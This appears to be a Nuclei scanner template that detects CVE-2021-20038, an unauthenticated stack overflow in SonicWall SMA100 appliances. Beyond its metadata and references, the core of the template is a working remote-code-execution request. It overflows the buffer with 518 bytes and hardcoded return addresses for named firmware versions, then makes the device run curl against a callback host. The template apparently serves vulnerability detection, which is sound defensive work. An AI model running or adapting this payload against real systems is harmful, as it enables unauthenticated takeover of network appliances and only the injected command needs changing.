56 lines
2.1 KiB
YAML
56 lines
2.1 KiB
YAML
id: CVE-2021-20038
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info:
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name: SonicWall SMA100 Stack - Buffer Overflow/Remote Code Execution
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author: dwisiswant0, jbaines-r7
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severity: critical
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description: A Stack-based buffer overflow vulnerability in SMA100 Apache httpd server's mod_cgi module environment variables allows a remote unauthenticated attacker to potentially execute code as a 'nobody' user in the appliance. This vulnerability affected SMA 200, 210, 400, 410 and 500v appliances firmware 10.2.0.8-37sv, 10.2.1.1-19sv, 10.2.1.2-24sv and earlier versions.
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remediation: |
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Apply the latest security patch or update provided by SonicWall to mitigate this vulnerability.
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reference:
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- https://attackerkb.com/topics/QyXRC1wbvC/cve-2021-20038/rapid7-analysis
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- https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0026
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- https://nvd.nist.gov/vuln/detail/CVE-2021-20038
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- https://github.com/jbaines-r7/badblood
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2021-20038
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cwe-id: CWE-787,CWE-121
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epss-score: 0.96076
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epss-percentile: 0.99265
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cpe: cpe:2.3:o:sonicwall:sma_200_firmware:10.2.0.8-37sv:*:*:*:*:*:*:*
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metadata:
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max-request: 2
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vendor: sonicwall
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product: sma_200_firmware
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tags: cve,cve2021,overflow,rce,sonicwall,kev
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variables:
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useragent: '{{rand_base(6)}}'
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http:
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- raw:
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- |
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GET /{{prefix_addr}}{{system_addr}};{curl,http://{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'};{{prefix_addr}}{{system_addr}};{curl,http://{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'};?{{repeat("A", 518)}} HTTP/1.1
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Host: {{Hostname}}
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payloads:
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prefix_addr:
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- "%04%d7%7f%bf%18%d8%7f%bf%18%d8%7f%bf" # stack's top address
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system_addr:
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- "%08%b7%06%08" # for 10.2.1.2-24sv
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- "%64%b8%06%08" # for 10.2.1.1-1[79]sv
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attack: clusterbomb
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol
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words:
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- "http"
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- type: word
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part: interactsh_request
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words:
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- "User-Agent: {{useragent}}"
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